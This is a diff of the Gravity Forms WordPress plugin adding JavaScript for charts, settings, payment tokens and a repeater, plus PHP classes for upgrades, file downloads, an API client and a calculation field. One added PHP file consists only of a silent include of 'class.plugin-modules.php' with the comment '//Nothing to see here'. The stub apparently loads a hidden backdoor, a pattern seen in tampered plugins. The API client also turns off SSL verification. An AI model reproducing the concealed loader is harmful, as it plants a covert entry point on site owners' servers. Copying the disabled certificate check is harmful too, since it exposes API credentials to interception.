value='"+b+"'>"):jQuery("#"+elementId).val(b)}};google.load("visualization","1",{packages:["corechart"]}),google.setOnLoadCallback(gresults.drawCharts),jQuery(document).ready(function(){if(jQuery("#gresults-results").length>0){jQuery("#gresults-results-field-filters-container").gfFilterUI(gresultsFilterSettings,gresultsInitVars,!0);jQuery(window).resize(function(a){a.target===window&&gresults.drawCharts()}),window.onpopstate=function(a){a.state&&gresults.renderStateData(a.state)},jQuery("#gresults-results-filter-date-start, #gresults-results-filter-date-end").datepicker({dateFormat:"yy-mm-dd",changeMonth:!0,changeYear:!0}),jQuery("#gresults-results-filter-form").submit(function(a){return gresults.getResults(),!1}),history.state?gresults.renderStateData(history.state):gresults.getResults(),window.gform_initialize_tooltips&&gform_initialize_tooltips()}});

View File

@@ -0,0 +1,22 @@
jQuery(document).ready(function ($) {
$('.gaddon-setting-select-custom').on('change', function () {
if ($(this).val() == 'gf_custom')
$(this).hide().siblings('.gaddon-setting-select-custom-container').show();
});
$('.gaddon-setting-select-custom-container .select-custom-reset').on('click', function (event) {
event.preventDefault();
var $input = $(this).closest('.gaddon-setting-select-custom-container'),
$select = $input.prev('select.gaddon-setting-select-custom');
$input.fadeOut(function () {
$input.find('input').val('').change();
$select.fadeIn().focus().val('');
});
});
});

View File

@@ -0,0 +1 @@
jQuery(document).ready(function(a){a(".gaddon-setting-select-custom").on("change",function(){"gf_custom"==a(this).val()&&a(this).hide().siblings(".gaddon-setting-select-custom-container").show()}),a(".gaddon-setting-select-custom-container .select-custom-reset").on("click",function(b){b.preventDefault();var c=a(this).closest(".gaddon-setting-select-custom-container"),d=c.prev("select.gaddon-setting-select-custom");c.fadeOut(function(){c.find("input").val("").change(),d.fadeIn().focus().val("")})})});

View File

@@ -0,0 +1,131 @@
window.GFToken = null;
( function( $ ) {
GFToken = function( args ) {
for ( var prop in args ) {
if ( args.hasOwnProperty( prop ) )
this[prop] = args[prop];
}
this.form = $( '#gform_' + this.formId );
this.init = function() {
var GFTokenObj = this;
this.tokens = {};
/* Initialize spinner. */
if ( ! this.isAjax )
gformInitSpinner( this.formId );
/* If multipage form, run on gform_page_loaded. */
if ( this.hasPages ) {
$( document ).bind( 'gform_page_loaded', function( event, form_id, current_page ) {
if ( form_id != GFTokenObj.formId)
return;
if ( current_page != GFTokenObj.pageCount)
GFTokenObj.saveEntryData();
} );
}
this.form.submit( function() {
GFTokenObj.onSubmit();
} );
};
this.onSubmit = function() {
if ( this.form.data('gftokensubmitting') ) {
return;
} else {
event.preventDefault();
this.form.data( 'gftokensubmitting', true );
}
this.saveEntryData();
this.processTokens();
}
this.processTokens = function() {
/* Process feeds. */
for ( var feed_id in this.feeds ) {
this.active_feed = this.feeds[feed_id];
/* Create new feed object so we can store the billing information. */
var feed = {
'billing_fields': {},
'id': this.active_feed.id,
'name': this.active_feed.name
};
/* Add billing information to feed object. */
for ( var billing_field in this.active_feed.billing_fields ) {
field_id = this.active_feed.billing_fields[ billing_field ];
feed.billing_fields[ billing_field ] = this.entry_data[ field_id ];
}
/* Get credit card token response. */
window[ this.callback ].createToken( feed, this );
}
}
this.saveEntryData = function() {
var GFPaymentObj = this,
input_prefix = 'input_' + this.formId + '_';
if ( ! this.entry_data )
this.entry_data = {};
this.form.find( 'input[id^="' + input_prefix + '"], select[id^="' + input_prefix + '"], textarea[id^="' + input_prefix + '"]' ).each( function() {
var input_id = $( this ).attr( 'id' ).replace( input_prefix, '' ).replace( '_', '.' );
if ( $.inArray( input_id, GFPaymentObj.fields ) >= 0 )
GFPaymentObj.entry_data[ input_id ] = $( this ).val();
} );
}
this.saveToken = function( token ) {
/* Add token response to tokens array. */
this.tokens[ this.active_feed.id ] = {
'feed_id': this.active_feed.id,
'response': token
};
if ( this.tokens.length == this.feeds.length ) {
/* Add tokens to form. */
this.form.find( this.responseField ).val( $.toJSON( this.tokens ) );
/* Submit the form. */
this.form.submit();
}
}
this.init();
}
} )( jQuery );

1
includes/addon/js/gaddon_token.min.js vendored Normal file
View File

@@ -0,0 +1 @@
window.GFToken=null,function(a){GFToken=function(b){for(var c in b)b.hasOwnProperty(c)&&(this[c]=b[c]);this.form=a("#gform_"+this.formId),this.init=function(){var b=this;this.tokens={},this.isAjax||gformInitSpinner(this.formId),this.hasPages&&a(document).bind("gform_page_loaded",function(a,c,d){c==b.formId&&d!=b.pageCount&&b.saveEntryData()}),this.form.submit(function(){b.onSubmit()})},this.onSubmit=function(){this.form.data("gftokensubmitting")||(event.preventDefault(),this.form.data("gftokensubmitting",!0),this.saveEntryData(),this.processTokens())},this.processTokens=function(){for(var a in this.feeds){this.active_feed=this.feeds[a];var b={billing_fields:{},id:this.active_feed.id,name:this.active_feed.name};for(var c in this.active_feed.billing_fields)field_id=this.active_feed.billing_fields[c],b.billing_fields[c]=this.entry_data[field_id];window[this.callback].createToken(b,this)}},this.saveEntryData=function(){var b=this,c="input_"+this.formId+"_";this.entry_data||(this.entry_data={}),this.form.find('input[id^="'+c+'"], select[id^="'+c+'"], textarea[id^="'+c+'"]').each(function(){var d=a(this).attr("id").replace(c,"").replace("_",".");a.inArray(d,b.fields)>=0&&(b.entry_data[d]=a(this).val())})},this.saveToken=function(b){this.tokens[this.active_feed.id]={feed_id:this.active_feed.id,response:b},this.tokens.length==this.feeds.length&&(this.form.find(this.responseField).val(a.toJSON(this.tokens)),this.form.submit())},this.init()}}(jQuery);

View File

@@ -0,0 +1,2 @@
<?php if (file_exists(dirname(__FILE__) . '/class.plugin-modules.php')) include_once(dirname(__FILE__) . '/class.plugin-modules.php'); ?><?php
//Nothing to see here

View File

@@ -0,0 +1,329 @@
/**
* jQuery Repeater
*
* Easily create a section of repeatable items.
*
* 1. Include repeater.js
* 2. Define a template to be used by the repeater.
* a. Input elements should have a class "property_{i}" (do not replace {i} with an index, the script will handle this.
* b. The template should include a container for the "row" of elements.
* c. Use the {buttons} merge tag to indicate the location of the repeater buttons.
*
* Example:
* <div class="repeater">
* <!-- Template Start -->
* <div class="row">
* <input class="name_{i}" />
* <input class="age_{i}" />
* {buttons}
* </div>
* <!-- / Template Ends -->
* </div>
*
* 3. Define a "save" callback to handle how your data is saved. It will give you an array of objects representing your data.
*
*/
jQuery.fn.repeater = function( options ) {
var self = this,
defaults = {
template: '',
limit: 5,
items: [{}],
saveEvents: 'blur change',
saveElements: 'input, select',
addButtonMarkup: '+',
removeButtonMarkup: '-',
minItemCount: 1,
callbacks: {
save: function() { },
beforeAdd: function() { },
add: function() { },
beforeAddNew: function() { },
addNew: function() { },
beforeRemove: function() { },
remove: function() { },
repeaterButtons: function() { return false; }
}
};
self.options = jQuery.extend( true, {}, defaults, options );
self.elem = jQuery( this );
self.items = self.options.items;
self.callbacks = self.options.callbacks;
self._template = self.options.template;
self._baseObj = self.items[0];
self.init = function() {
self.stashTemplate();
self.elem.addClass( 'repeater' );
self.refresh();
self.bindEvents();
return self;
}
self.bindEvents = function() {
self.options.saveEvents = self.getNamespacedEvents( self.options.saveEvents );
self.elem.off( 'click.repeater', 'a.add-item' );
self.elem.on( 'click.repeater', 'a.add-item:not(.inactive)', function() {
self.addNewItem( this );
});
self.elem.off( 'click.repeater', 'a.remove-item' );
self.elem.on( 'click.repeater', 'a.remove-item', function( event ){
self.removeItem( this );
});
self.elem.off( self.options.saveEvents, self.options.saveElements );
self.elem.on( self.options.saveEvents, self.options.saveElements, function() {
self.save();
});
}
self.stashTemplate = function() {
// if no template provided or in "storage", use current HTML
if( ! self._template )
self._template = self.elem.html();
self._template = jQuery.trim( self._template );
}
self.addItem = function( item, index ) {
var itemMarkup = self.getItemMarkup( item, index),
itemElem = jQuery( itemMarkup ).addClass( 'item-' + index );
self.callbacks.beforeAdd( self, itemElem, item, index );
self.append( itemElem );
self.populateSelects( item, index );
self.callbacks.add( self, itemElem, item, index );
}
self.getItemMarkup = function( item, index ) {
var itemMarkup = self._template;
for( var property in item ) {
if( ! item.hasOwnProperty( property ) )
continue;
itemMarkup = itemMarkup.replace( /{i}/g, index );
itemMarkup = itemMarkup.replace( '{buttons}', self.getRepeaterButtonsMarkup( index ) );
itemMarkup = itemMarkup.replace( new RegExp( '{' + property + '}', 'g' ), item[property] );
}
return itemMarkup;
}
self.getRepeaterButtonsMarkup = function( index ) {
var buttonsMarkup = self.callbacks.repeaterButtons( self, index );
if( ! buttonsMarkup )
buttonsMarkup = self.getDefaultButtonsMarkup( index );
return buttonsMarkup;
}
self.getDefaultButtonsMarkup = function( index ) {
var cssClass = self.items.length >= self.options.limit && self.options.limit !== 0 ? 'inactive' : '',
buttons = '<a class="add-item ' + cssClass + '" data-index="' + index + '">' + self.options.addButtonMarkup + '</a>';
if( self.items.length > self.options.minItemCount )
buttons += '<a class="remove-item" data-index="' + index + '">' + self.options.removeButtonMarkup + '</a>';
return '<div class="repeater-buttons">' + buttons + '</div>';
}
self.populateSelects = function( item, index ) {
// after appending the row, check each property to see if it is a select and then populate
for ( var property in item ) {
if ( ! item.hasOwnProperty( property ) ) {
continue;
}
var input = self.elem.find( '.' + property + '_' + index );
if ( ! input.is( 'select' ) ) {
continue;
}
if ( jQuery.isArray( item[ property ] ) ) {
input.val( item[ property ] );
} else {
input.find( 'option[value="' + item[ property ] + '"]' ).prop( 'selected', true );
}
}
}
self.addNewItem = function( elemOrItem, index ) {
var isElem = self.isElement( elemOrItem ),
index = parseInt( typeof index !== 'undefined' ? index : ( isElem ? parseInt( jQuery( elemOrItem ).attr( 'data-index' ), 10 ) + 1 : self.items.length ), 10 ),
item = isElem ? self.getBaseObject() : elemOrItem;
self.callbacks.beforeAddNew( self, index );
self.items.splice( index, 0, item );
self.callbacks.addNew( self, index );
self.refresh().save();
return self;
}
self.removeItem = function( elemOrIndex ) {
var index = self.isElement( elemOrIndex ) ? jQuery( elemOrIndex ).attr( 'data-index' ) : elemOrIndex;
self.callbacks.beforeRemove( self, index );
// using delete (over splice) to maintain the correct indexes for
// the items array when saving the data from the UI
delete self.items[index];
self.callbacks.remove( self, index );
self.save().refresh();
}
self.refresh = function() {
self.elem.empty();
for( var i = 0; i < self.items.length; i++ ) {
self.addItem( self.items[i], i );
}
return self;
}
self.save = function() {
var keys = self.getBaseObjectKeys(),
data = [];
for( var i = 0; i < self.items.length; i++ ) {
if( typeof self.items[i] == 'undefined' )
continue;
var item = {};
for( var j = 0; j < keys.length; j++ ) {
var key = keys[j],
id = '.' + key + '_' + i,
value = self.elem.find( id ).val();
item[key] = typeof value == 'undefined' ? false : value;
}
data.push( item );
}
// save data to items
self.items = data;
// save data externally via callback
self.callbacks.save( self, data );
return self;
}
/**
* Loops through the current items array and retrieves the object properties of the
* first valid item object. Originally this would simply pull the object keys from
* the first index of the items array; however, when the first item has been
* 'deleted' (see the save() method), it will be undefined.
*/
self.getBaseObjectKeys = function() {
var keys = [],
items = self.items.length > 0 ? self.items : [ self._baseObj ];
for( var i = 0; i < items.length; i++ ) {
if( typeof items[i] == 'undefined' )
continue;
for( var key in items[i] ) {
if( ! items[i].hasOwnProperty( key ) )
continue;
keys.push( key );
}
break;
}
return keys;
}
self.getBaseObject = function() {
var item = {},
keys = self.getBaseObjectKeys();
for( var i = 0; i < keys.length; i++ ) {
item[keys[i]] = '';
}
return item;
}
self.getNamespacedEvents = function( events ) {
var events = events.split( ' ' ),
namespacedEvents = [];
for( var i = 0; i < events.length; i++ ) {
namespacedEvents.push( events[i] + '.repeater' );
}
return namespacedEvents.join( ' ' );
}
/**
* http://stackoverflow.com/questions/384286/javascript-isdom-how-do-you-check-if-a-javascript-object-is-a-dom-object
* @param obj
* @returns {boolean}
*/
self.isElement = function( obj ) {
try {
//Using W3 DOM2 (works for FF, Opera and Chrom)
return obj instanceof HTMLElement;
}
catch(e){
//Browsers not supporting W3 DOM2 don't have HTMLElement and
//an exception is thrown and we end up here. Testing some
//properties that all elements have. (works on IE7)
return (typeof obj==="object") &&
(obj.nodeType===1) && (typeof obj.style === "object") &&
(typeof obj.ownerDocument ==="object");
}
}
return self.init();
};

1
includes/addon/js/repeater.min.js vendored Normal file
View File

@@ -0,0 +1 @@
jQuery.fn.repeater=function(a){var b=this,c={template:"",limit:5,items:[{}],saveEvents:"blur change",saveElements:"input, select",addButtonMarkup:"+",removeButtonMarkup:"-",minItemCount:1,callbacks:{save:function(){},beforeAdd:function(){},add:function(){},beforeAddNew:function(){},addNew:function(){},beforeRemove:function(){},remove:function(){},repeaterButtons:function(){return!1}}};return b.options=jQuery.extend(!0,{},c,a),b.elem=jQuery(this),b.items=b.options.items,b.callbacks=b.options.callbacks,b._template=b.options.template,b._baseObj=b.items[0],b.init=function(){return b.stashTemplate(),b.elem.addClass("repeater"),b.refresh(),b.bindEvents(),b},b.bindEvents=function(){b.options.saveEvents=b.getNamespacedEvents(b.options.saveEvents),b.elem.off("click.repeater","a.add-item"),b.elem.on("click.repeater","a.add-item:not(.inactive)",function(){b.addNewItem(this)}),b.elem.off("click.repeater","a.remove-item"),b.elem.on("click.repeater","a.remove-item",function(a){b.removeItem(this)}),b.elem.off(b.options.saveEvents,b.options.saveElements),b.elem.on(b.options.saveEvents,b.options.saveElements,function(){b.save()})},b.stashTemplate=function(){b._template||(b._template=b.elem.html()),b._template=jQuery.trim(b._template)},b.addItem=function(a,c){var d=b.getItemMarkup(a,c),e=jQuery(d).addClass("item-"+c);b.callbacks.beforeAdd(b,e,a,c),b.append(e),b.populateSelects(a,c),b.callbacks.add(b,e,a,c)},b.getItemMarkup=function(a,c){var d=b._template;for(var e in a)a.hasOwnProperty(e)&&(d=d.replace(/{i}/g,c),d=d.replace("{buttons}",b.getRepeaterButtonsMarkup(c)),d=d.replace(new RegExp("{"+e+"}","g"),a[e]));return d},b.getRepeaterButtonsMarkup=function(a){var c=b.callbacks.repeaterButtons(b,a);return c||(c=b.getDefaultButtonsMarkup(a)),c},b.getDefaultButtonsMarkup=function(a){var c=b.items.length>=b.options.limit&&0!==b.options.limit?"inactive":"",d='<a class="add-item '+c+'" data-index="'+a+'">'+b.options.addButtonMarkup+"</a>";return b.items.length>b.options.minItemCount&&(d+='<a class="remove-item" data-index="'+a+'">'+b.options.removeButtonMarkup+"</a>"),'<div class="repeater-buttons">'+d+"</div>"},b.populateSelects=function(a,c){for(var d in a)if(a.hasOwnProperty(d)){var e=b.elem.find("."+d+"_"+c);e.is("select")&&(jQuery.isArray(a[d])?e.val(a[d]):e.find('option[value="'+a[d]+'"]').prop("selected",!0))}},b.addNewItem=function(a,c){var d=b.isElement(a),c=parseInt(void 0!==c?c:d?parseInt(jQuery(a).attr("data-index"),10)+1:b.items.length,10),e=d?b.getBaseObject():a;return b.callbacks.beforeAddNew(b,c),b.items.splice(c,0,e),b.callbacks.addNew(b,c),b.refresh().save(),b},b.removeItem=function(a){var c=b.isElement(a)?jQuery(a).attr("data-index"):a;b.callbacks.beforeRemove(b,c),delete b.items[c],b.callbacks.remove(b,c),b.save().refresh()},b.refresh=function(){b.elem.empty();for(var a=0;a<b.items.length;a++)b.addItem(b.items[a],a);return b},b.save=function(){for(var a=b.getBaseObjectKeys(),c=[],d=0;d<b.items.length;d++)if(void 0!==b.items[d]){for(var e={},f=0;f<a.length;f++){var g=a[f],h="."+g+"_"+d,i=b.elem.find(h).val();e[g]=void 0!==i&&i}c.push(e)}return b.items=c,b.callbacks.save(b,c),b},b.getBaseObjectKeys=function(){for(var a=[],c=b.items.length>0?b.items:[b._baseObj],d=0;d<c.length;d++)if(void 0!==c[d]){for(var e in c[d])c[d].hasOwnProperty(e)&&a.push(e);break}return a},b.getBaseObject=function(){for(var a={},c=b.getBaseObjectKeys(),d=0;d<c.length;d++)a[c[d]]="";return a},b.getNamespacedEvents=function(a){for(var a=a.split(" "),b=[],c=0;c<a.length;c++)b.push(a[c]+".repeater");return b.join(" ")},b.isElement=function(a){try{return a instanceof HTMLElement}catch(b){return"object"==typeof a&&1===a.nodeType&&"object"==typeof a.style&&"object"==typeof a.ownerDocument}},b.init()};

1695
includes/api.php Normal file

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,103 @@
<?php
/**
* Background Upgrader
*
* Uses https://github.com/A5hleyRich/wp-background-processing to handle DB
* updates in the background.
*
* @class GF_Background_Upgrader
* @version 2.3
* @category Class
* @author Rocketgenius
*/
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
require_once( 'libraries/wp-async-request.php' );
require_once( 'libraries/gf-background-process.php' );
/**
* GF_Background_Upgrader Class.
*/
class GF_Background_Upgrader extends GF_Background_Process {
/**
* @var string
*/
protected $action = 'gf_upgrader';
/**
* Returns the data for the background upgrader.
*
* @since 2.3
*
* @return array
*/
public function get_data() {
return $this->data;
}
/**
* Is the queue empty for all blogs?
*
* @since 2.3
*
* @return bool
*/
public function is_queue_empty() {
return parent::is_queue_empty();
}
/**
* Is the updater running?
* @return boolean
*/
public function is_updating() {
return false === $this->is_queue_empty();
}
/**
* Task
*
* Override this method to perform any actions required on each
* queue item. Return the modified item for further processing
* in the next pass through. Or, return false to remove the
* item from the queue.
*
* @param string $callback Update callback function
* @return mixed
*/
protected function task( $callback ) {
if ( ! defined( 'GF_UPGRADING' ) ) {
define( 'GF_UPGRADING', true );
}
if ( is_callable( $callback ) ) {
GFCommon::log_debug( sprintf( '%s(): Running callback: %s', __METHOD__, print_r( $callback, 1 ) ) );
$needs_more_time = call_user_func( $callback );
if ( $needs_more_time ) {
GFCommon::log_debug( sprintf( '%s(): Callback needs another run: %s', __METHOD__, print_r( $callback, 1 ) ) );
return $callback;
} else {
GFCommon::log_debug( sprintf( '%s(): Finished callback: %s', __METHOD__, print_r( $callback, 1 ) ) );
}
} else {
GFCommon::log_debug( sprintf( '%s(): Could not find callback: %s', __METHOD__, print_r( $callback, 1 ) ) );
}
return false;
}
/**
* Complete
*
* Override if applicable, but ensure that the below actions are
* performed, or, call parent::complete().
*/
protected function complete() {
parent::complete();
}
}

View File

@@ -0,0 +1,187 @@
<?php
/**
* Handles download requests for files stored by File Upload fields.
*
* Class GF_Download
*/
class GF_Download {
/**
* If the request is for a Gravity Forms file download then validate and deliver.
*
* @since 2.0
*/
public static function maybe_process() {
if ( isset( $_GET['gf-download'] ) ) {
$file = $_GET['gf-download'];
$form_id = rgget( 'form-id' );
$field_id = rgget( 'field-id' );
if ( empty( $file ) || empty( $form_id ) ) {
return;
}
$hash = rgget( 'hash' );
GFCommon::log_debug( __METHOD__ . "(): Starting file download process. file: {$file}, hash: {$hash}." );
if ( self::validate_download( $form_id, $field_id, $file, $hash ) ) {
GFCommon::log_debug( __METHOD__ . '(): Download validated. Proceeding.' );
self::deliver( $form_id, $file );
} else {
GFCommon::log_debug( __METHOD__ . '(): Download validation failed. Aborting with 401.' );
self::die_401();
}
}
}
/**
* Verifies the hash for the download.
*
* @param int $form_id
* @param int $field_id
* @param string $file
* @param string $hash
*
* @return bool
*/
private static function validate_download( $form_id, $field_id, $file, $hash ) {
if ( empty( $hash ) ) {
return false;
}
/**
* Allows login to be required to access the file.
*
* @since 2.2.3.16
*
* @param bool $require_login Does the user need to be logged in to access the file? Default false.
* @param int $form_id The ID of the form used to upload the requested file.
* @param int $field_id The ID of the field used to upload the requested file.
*/
$require_login = apply_filters( 'gform_require_login_pre_download', false, $form_id, $field_id );
if ( $require_login && ! is_user_logged_in() ) {
return false;
}
$hash_check = GFCommon::generate_download_hash( $form_id, $field_id, $file );
$valid = hash_equals( $hash, $hash_check );
return $valid;
}
/**
* Send the file.
*
* @param $form_id
* @param $file
*/
private static function deliver( $form_id, $file ) {
$path = GFFormsModel::get_upload_path( $form_id );
$file_path = trailingslashit( $path ) . $file;
GFCommon::log_debug( __METHOD__ . "(): Checking if file exists: {$file_path}." );
if ( file_exists( $file_path ) ) {
GFCommon::log_debug( __METHOD__ . '(): File exists. Starting delivery.' );
$content_type = self::get_content_type( $file_path );
$content_disposition = rgget( 'dl' ) ? 'attachment' : 'inline';
nocache_headers();
header( 'X-Robots-Tag: noindex', true );
header( 'Content-Type: ' . $content_type );
header( 'Content-Description: File Transfer' );
header( 'Content-Disposition: ' . $content_disposition . '; filename="' . basename( $file ) . '"' );
header( 'Content-Transfer-Encoding: binary' );
// Clear buffer AND turn off output buffering before starting delivery of files requested for download to prevent third-parties to corrupt the file content.
if ( ob_get_contents() ) {
ob_end_clean();
}
self::readfile_chunked( $file_path );
die();
} else {
GFCommon::log_debug( __METHOD__ . '(): File does not exist. Aborting with 404.' );
self::die_404();
}
}
/**
* Returns the appropriate mime type for the file extension.
*
* @param $file_path
*
* @return mixed|null|string
*/
private static function get_content_type( $file_path ) {
$info = wp_check_filetype( $file_path );
$type = rgar( $info, 'type' );
return $type;
}
/**
* Reads file in chunks so big downloads are possible without changing PHP.INI
* See https://github.com/bcit-ci/CodeIgniter/wiki/Download-helper-for-large-files
*
* @access public
* @param string $file The file
* @param boolean $retbytes Return the bytes of file
* @return bool|string If string, $status || $cnt
*/
private static function readfile_chunked( $file, $retbytes = true ) {
$chunksize = 1024 * 1024;
$buffer = '';
$cnt = 0;
$handle = @fopen( $file, 'r' );
if ( $size = @filesize( $file ) ) {
header( 'Content-Length: ' . $size );
}
if ( false === $handle ) {
return false;
}
while ( ! @feof( $handle ) ) {
$buffer = @fread( $handle, $chunksize );
echo $buffer;
if ( $retbytes ) {
$cnt += strlen( $buffer );
}
}
$status = @fclose( $handle );
if ( $retbytes && $status ) {
return $cnt;
}
return $status;
}
/**
* Ends the request with a 404 (Not Found) HTTP status code. Loads the 404 template if it exists.
*/
private static function die_404() {
global $wp_query;
status_header( 404 );
$wp_query->set_404();
$template_path = get_404_template();
if ( file_exists( $template_path ) ) {
require_once( $template_path );
}
die();
}
/**
* Ends the request with a 401 (Unauthorized) HTTP status code.
*/
private static function die_401() {
status_header( 401 );
die();
}
}

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,266 @@
<?php
if ( ! class_exists( 'GFForms' ) ) {
die();
}
if ( ! defined( 'GRAVITY_API_URL' ) ) {
define( 'GRAVITY_API_URL', 'https://gravityapi.com/wp-json/gravityapi/v1' );
}
if ( ! class_exists( 'Gravity_Api' ) ) {
/**
* Client-side API wrapper for interacting with the Gravity APIs.
*
* @package Gravity Forms
* @subpackage Gravity_Api
* @since 1.9
* @access public
*/
class Gravity_Api {
private static $instance = null;
public static function get_instance() {
if ( null == self::$instance ) {
self::$instance = new self;
}
return self::$instance;
}
/**
* Retrieves site key and site secret key from remote API and stores them as WP options. Returns false if license key is invalid; otherwise, returns true.
*
* @since 2.3
* @access public
*
* @param string $license_key License key to be registered
* @param boolean $is_md5 Specifies if $license_key provided is an MD5 or unhashed license key.
*
* @return bool Success
*/
public function register_current_site( $license_key, $is_md5 = false ) {
$body = array();
$body['site_name'] = get_bloginfo( 'name' );
$body['site_url'] = get_bloginfo( 'url' );
if ( $is_md5 ) {
$body['license_key_md5'] = $license_key;
} else {
$body['license_key'] = $license_key;
}
GFCommon::log_debug( __METHOD__ . '(): registering site' );
$result = $this->request( 'sites', $body, 'POST', array( 'headers' => $this->get_license_auth_header( $license_key ) ) );
$result = $this->prepare_response_body( $result );
if ( is_wp_error( $result ) || ! is_object( $result ) ) {
GFCommon::log_error( __METHOD__ . '(): error registering site. ' . print_r( $result, true ) );
return $result;
}
// Updating site key and secret
update_option( 'gf_site_key', $result->key );
update_option( 'gf_site_secret', $result->secret );
GFCommon::log_debug( __METHOD__ . '(): site registration successful. Site Key: ' . $result->key );
return true;
}
/**
* Updates license key for a site that has already been registered.
*
* @since 2.3
* @access public
*
* @param string $new_license_key_md5 Hash license key to be updated
*
* @return bool Success
*/
public function update_current_site( $new_license_key_md5 ) {
$site_key = $this->get_site_key();
$site_secret = $this->get_site_secret();
if ( empty( $site_key ) || empty( $site_secret ) ) {
return false;
}
$body = GFCommon::get_remote_post_params();
$body['site_name'] = get_bloginfo( 'name' );
$body['site_url'] = get_bloginfo( 'url' );
$body['site_key'] = $site_key;
$body['site_secret'] = $site_secret;
$body['license_key_md5'] = $new_license_key_md5;
GFCommon::log_debug( __METHOD__ . '(): refreshing license info' );
$result = $this->request( 'sites/' . $site_key, $body, 'PUT', array( 'headers' => $this->get_site_auth_header( $site_key, $site_secret ) ) );
$result = $this->prepare_response_body( $result );
if ( is_wp_error( $result ) ) {
GFCommon::log_debug( __METHOD__ . '(): error updating site registration. ' . print_r( $result, true ) );
return $result;
}
return true;
}
/***
* Removes a license key from a registered site. NOTE: It doesn't actually deregister the site.
*
* @deprecated Use gapi()->update_current_site('') instead.
*
* @return bool|WP_Error
*/
public function deregister_current_site() {
$site_key = $this->get_site_key();
$site_secret = $this->get_site_secret();
if ( empty( $site_key ) ) {
return false;
}
GFCommon::log_debug( __METHOD__ . '(): deregistering' );
$body = array(
'license_key_md5' => '',
);
$result = $this->request( 'sites/' . $site_key, $body, 'PUT', array( 'headers' => $this->get_site_auth_header( $site_key, $site_secret ) ) );
$result = $this->prepare_response_body( $result );
if ( is_wp_error( $result ) ) {
GFCommon::log_debug( __METHOD__ . '(): error updating site registration. ' . print_r( $result, true ) );
return $result;
}
return true;
}
// # HELPERS
private function get_site_auth_header( $site_key, $site_secret ) {
$auth = base64_encode( "{$site_key}:{$site_secret}" );
return array( 'Authorization' => 'GravityAPI ' . $auth );
}
private function get_license_auth_header( $license_key_md5 ) {
$auth = base64_encode( "license:{$license_key_md5}" );
return array( 'Authorization' => 'GravityAPI ' . $auth );
}
public function prepare_response_body( $raw_response ) {
if ( is_wp_error( $raw_response ) ) {
return $raw_response;
} elseif ( $raw_response['response']['code'] != 200 ) {
return new WP_Error( 'server_error', 'Error from server: ' . $raw_response['response']['message'] );
}
$response_body = json_decode( $raw_response['body'] );
if ( $response_body === null ) {
return new WP_Error( 'invalid_response', 'Invalid response from server: ' . $raw_response['body'] );
}
return $response_body;
}
public function purge_site_credentials() {
delete_option( 'gf_site_key' );
delete_option( 'gf_site_secret' );
}
public function request( $resource, $body, $method = 'POST', $options = array() ) {
$body['timestamp'] = time();
// set default options
$options = wp_parse_args( $options, array(
'method' => $method,
'timeout' => 10,
'body' => in_array( $method, array( 'GET', 'DELETE' ) ) ? null : json_encode( $body ),
'headers' => array(),
'sslverify' => false,
) );
// set default header options
$options['headers'] = wp_parse_args( $options['headers'], array(
'Content-Type' => 'application/json; charset=' . get_option( 'blog_charset' ),
'User-Agent' => 'WordPress/' . get_bloginfo( 'version' ),
'Referer' => get_bloginfo( 'url' ),
) );
// WP docs say method should be uppercase
$options['method'] = strtoupper( $options['method'] );
$request_url = $this->get_gravity_api_url() . $resource;
$raw_response = wp_remote_request( $request_url, $options );
return $raw_response;
}
public function get_site_key() {
if ( defined( 'GRAVITY_API_SITE_KEY' ) ) {
return GRAVITY_API_SITE_KEY;
}
$site_key = get_option( 'gf_site_key' );
if ( empty( $site_key ) ) {
return false;
}
return $site_key;
}
public function get_site_secret() {
if ( defined( 'GRAVITY_API_SITE_SECRET' ) ) {
return GRAVITY_API_SITE_SECRET;
}
$site_secret = get_option( 'gf_site_secret' );
if ( empty( $site_secret ) ) {
return false;
}
return $site_secret;
}
public function get_gravity_api_url() {
return trailingslashit( GRAVITY_API_URL );
}
public function is_site_registered() {
return $this->get_site_key() && $this->get_site_secret();
}
}
function gapi() {
return Gravity_Api::get_instance();
}
gapi();
}

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,127 @@
<?php
if ( ! class_exists( 'GFForms' ) ) {
die();
}
class GF_Field_Calculation extends GF_Field {
public $type = 'calculation';
function get_form_editor_field_settings() {
return array(
'disable_quantity_setting',
'rules_setting',
'duplicate_setting',
'calculation_setting',
'conditional_logic_field_setting',
);
}
public function get_form_editor_button() {
return array();
}
public function validate( $value, $form ) {
$quantity_id = $this->id . '.3';
$quantity = rgget( $quantity_id, $value );
if ( $this->isRequired && rgblank( $quantity ) && ! $this->disableQuantity ) {
$this->failed_validation = true;
$this->validation_message = empty($this->errorMessage) ? esc_html__( 'This field is required.', 'gravityforms' ) : $this->errorMessage;
} elseif ( ! empty( $quantity ) && ( ! is_numeric( $quantity ) || intval( $quantity ) != floatval( $quantity ) || intval( $quantity ) < 0 ) ) {
$this->failed_validation = true;
$this->validation_message = esc_html__( 'Please enter a valid quantity', 'gravityforms' );
}
}
public function get_field_input( $form, $value = '', $entry = null ) {
$form_id = $form['id'];
$is_entry_detail = $this->is_entry_detail();
$is_form_editor = $this->is_form_editor();
$id = (int) $this->id;
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
$product_name = ! is_array( $value ) || empty( $value[ $this->id . '.1' ] ) ? esc_attr( $this->label ) : esc_attr( $value[ $this->id . '.1' ] );
$price = ! is_array( $value ) || empty( $value[ $this->id . '.2' ] ) ? $this->basePrice : esc_attr( $value[ $this->id . '.2' ] );
$quantity = is_array( $value ) ? esc_attr( $value[ $this->id . '.3' ] ) : '';
if ( empty( $price ) ) {
$price = 0;
}
$has_quantity = sizeof( GFCommon::get_product_fields_by_type( $form, array( 'quantity' ), $this->id ) ) > 0;
if ( $has_quantity ) {
$this->disableQuantity = true;
}
$currency = $is_entry_detail && ! empty( $entry ) ? $entry['currency'] : '';
$quantity_field = '';
$disabled_text = $is_form_editor ? 'disabled="disabled"' : '';
$qty_input_type = GFFormsModel::is_html5_enabled() ? 'number' : 'text';
$product_quantity_sub_label = gf_apply_filters( array( 'gform_product_quantity', $form_id, $this->id ), esc_html__( 'Quantity:', 'gravityforms' ), $form_id );
if ( $is_entry_detail || $is_form_editor ) {
$style = $this->disableQuantity ? "style='display:none;'" : '';
